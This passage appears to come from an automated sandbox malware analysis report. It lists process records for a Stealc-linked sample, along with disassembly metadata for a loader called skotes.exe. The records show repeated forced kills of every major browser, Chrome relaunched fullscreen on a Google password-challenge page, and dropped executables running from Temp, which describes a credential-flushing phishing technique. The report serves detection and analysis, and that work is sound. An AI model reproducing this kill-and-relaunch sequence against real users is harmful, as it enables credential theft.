Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002C.00000002.2630021156.0000000000587000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002C.00000002.2630993454.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002C.00000000.2616219253.0000000000B81000.00000080.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	21:23:32
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	21:23:32
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	21:23:33
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	21:23:33
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	21:23:33
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	21:23:33
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	21:23:34
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	21:23:35
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1992,i,7048868189645442855,15603037541109083957,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	21:23:40
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	21:23:40
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	21:23:40
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2904 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	21:23:40
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	21:23:40
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	21:23:40
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	21:23:40
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	21:23:40
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe"
Imagebase:	0xf50000
File size:	1'829'376 bytes
MD5 hash:	86FEA273D36E3F9C8221E22B937B1929
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	21:23:41
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	21:23:41
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	21:23:41
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	21:23:41
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	21:23:42
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	21:23:43
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1152,i,15500864807837732652,8979653825790183584,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	21:23:47
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	21:23:47
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	21:23:48
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	21:23:48
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	21:23:48
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4516 --field-trial-handle=2240,i,13949646483110312368,15407111442915167702,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	21:23:48
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	21:23:48
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	21:23:48
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	21:23:48
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	21:23:48
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	21:23:48
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	21:23:49
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe"
Imagebase:	0xb20000
File size:	919'040 bytes
MD5 hash:	A914737C9AF5014B7CD65B6649094707
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000004E.00000002.2953026392.00000000010A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	79
Start time:	21:23:49
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	21:23:49
Start date:	06/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 051A0DD8 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752975134.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_8ObkdHP9Hq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09db75f647cd04c5bd32b942ba047ddf2b3940e7348a71dd271c28f22539095
Instruction ID: 541403fa4fec21ecb44b3416ad7c53d299a8e9ef5af5b6c9b2405c32543fbd85
Opcode Fuzzy Hash: b09db75f647cd04c5bd32b942ba047ddf2b3940e7348a71dd271c28f22539095
Instruction Fuzzy Hash: 7C1191EF14C114BDB167D5412B58ABB676EE6DA7307328426F403C6503D3990F9E6131

Function 051A0DF6 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752975134.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_8ObkdHP9Hq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc7dd94228feb9a935f3e5952882007acee0034905d0b953e8e62013974e108c
Instruction ID: f07a21edffe265275355c58c56aa6d3c94b70eb0bf380ab1355ed4ab9e934b9e
Opcode Fuzzy Hash: bc7dd94228feb9a935f3e5952882007acee0034905d0b953e8e62013974e108c
Instruction Fuzzy Hash: E821D0AF14C2146DB2A3D29527586B66B6EE6CF7303318426F403D6503E3990B9E6131

Function 051A0DB6 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752975134.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_8ObkdHP9Hq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b41d8c46ad0448c0fb6392b9a04ed6636112b83c18d09ab56d827b9eec37d5ac
Instruction ID: e62befef490bb494690ca5758ea71f72e8a900bb975d7d0b8642b13792202071
Opcode Fuzzy Hash: b41d8c46ad0448c0fb6392b9a04ed6636112b83c18d09ab56d827b9eec37d5ac
Instruction Fuzzy Hash: 7E11C0EF14C2046DF2A3D1912B6CAB76B6EE7DB730731846AF042D6143E3990B8E6131

Function 051A0E27 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752975134.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_8ObkdHP9Hq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2d8b6746bca3879b7f7e5b7a5bca824bc3c4a4887f4230415723eb1d79df675
Instruction ID: 605b1bfc5f757fcec173e89cc65d473e92bbf37636af2393832abcf6999696cf
Opcode Fuzzy Hash: e2d8b6746bca3879b7f7e5b7a5bca824bc3c4a4887f4230415723eb1d79df675
Instruction Fuzzy Hash: F811C1EF14C114ADB167D5422B58ABB676EE6CA730732842AF003D6503D3990F9E6131

Function 051A0DDE Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752975134.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_8ObkdHP9Hq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0a462f0513bc8c64d7bc87aba8c7e017b86f5778d84f9b61526c81fde6f3c64
Instruction ID: bd05b01c403ca87e7533580f3bc87f5401dd8f1d70b37d911abebbf13d548440
Opcode Fuzzy Hash: f0a462f0513bc8c64d7bc87aba8c7e017b86f5778d84f9b61526c81fde6f3c64
Instruction Fuzzy Hash: 0011B2EF10C1107DB167C5812B58AB6676EE6CA734731842AF003C6543D3990F9E6231

Function 051A0E3D Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752975134.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_8ObkdHP9Hq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6f13398022d9599c04e50dfddd4ccb56278784d43ca821f54029ebfffc0374b
Instruction ID: 406081f8bfab8204b28bdc39049fba25190c186a2fd18e133a1d47b7c5e97044
Opcode Fuzzy Hash: c6f13398022d9599c04e50dfddd4ccb56278784d43ca821f54029ebfffc0374b
Instruction Fuzzy Hash: 3B01CCEB10D1146DB262D2923B68AF76B69E6CB334336847BF402C5543D3890F9E6232

Function 051A0E65 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752975134.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_8ObkdHP9Hq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0051063535fcdecc1aa18010895264f894ef5d5554ee906208c3e0fd533b8d65
Instruction ID: 5f8e9c9a6976f51eb7f35e02a86258cbf113f76c2a2152525a206e3a5144d9c4
Opcode Fuzzy Hash: 0051063535fcdecc1aa18010895264f894ef5d5554ee906208c3e0fd533b8d65
Instruction Fuzzy Hash: 16015EBB14C2146EB1A2D1922B1CABB676DE6DB730731887BF402C5543E3C90F9E6231

Function 051A0E7C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752975134.00000000051A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51a0000_8ObkdHP9Hq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aff12953f3cf86eae3a586ddd1a54d48eac054d2c3268b7393f110701b950d5
Instruction ID: 0a2cab1fc66271e80b4709770adf74b748d354e80127806ab3b46a25031cb296
Opcode Fuzzy Hash: 4aff12953f3cf86eae3a586ddd1a54d48eac054d2c3268b7393f110701b950d5
Instruction Fuzzy Hash: 03F04FEB14D1187DB162E6812B58AFB672DE5CA730735842AF402D5543D38D0B9E5271

Analysis Process: skotes.exePID: 7692, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.4%
Total number of Nodes:	1842
Total number of Limit Nodes:	13

Executed Functions

Function 00DABE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00DABEB8
InternetOpenW.WININET(00DF8DC8,00000000,00000000,00000000,00000000), ref: 00DABEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00DABEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00DABF36
HttpSendRequestA.WININET(?,00000000), ref: 00DABFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00DAC0A7
InternetCloseHandle.WININET(?), ref: 00DAC187
InternetCloseHandle.WININET(?), ref: 00DAC18F
InternetCloseHandle.WININET(?), ref: 00DAC197

Strings

invalid stoi argument, xrefs: 00DAE4F4
RE1NXF==, xrefs: 00DABF0E
8HJUeIfzLo==, xrefs: 00DAC3CB, 00DAC623
RmNn, xrefs: 00DAD606
8HJUeMD Lq5=, xrefs: 00DAC465
stoi argument out of range, xrefs: 00DAE4EA

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: fad9d5ba246b21973f6f5634f26df0647252a4552054017a0fcbf4729115ecab
Instruction ID: 1141ce8f4eaa3a59a04a0d4be7bf20801a36d5cde0aaba0165be609eefc9499b
Opcode Fuzzy Hash: fad9d5ba246b21973f6f5634f26df0647252a4552054017a0fcbf4729115ecab
Instruction Fuzzy Hash: 9CB1E4B16102189BDF24CF28CC84BED7BA9EF42314F548199F509A72D1DB719AC4CBB5

Function 00DAE530 Relevance: 16.0, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9c9aa5, xrefs: 00DAFB8E
UA==, xrefs: 00DAEB0F, 00DAED56
MQ==, xrefs: 00DAE592
MGE+, xrefs: 00DAE821
L1, xrefs: 00DAF7E5
246122658369, xrefs: 00DAF737, 00DAFA14, 00DB05E7, 00DB099A
111, xrefs: 00DAF7A0
WDw=, xrefs: 00DAF71D, 00DAF9FA
WTs=, xrefs: 00DB05CA
WTw=, xrefs: 00DB097D
GnNoc2Hc, xrefs: 00DAE56C
#, xrefs: 00DB0624

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-734524360
Opcode ID: 4ba4a99e01080d62b5c6750a892490fdbcdb30dbc9e24f511b8f9cfe67242e72
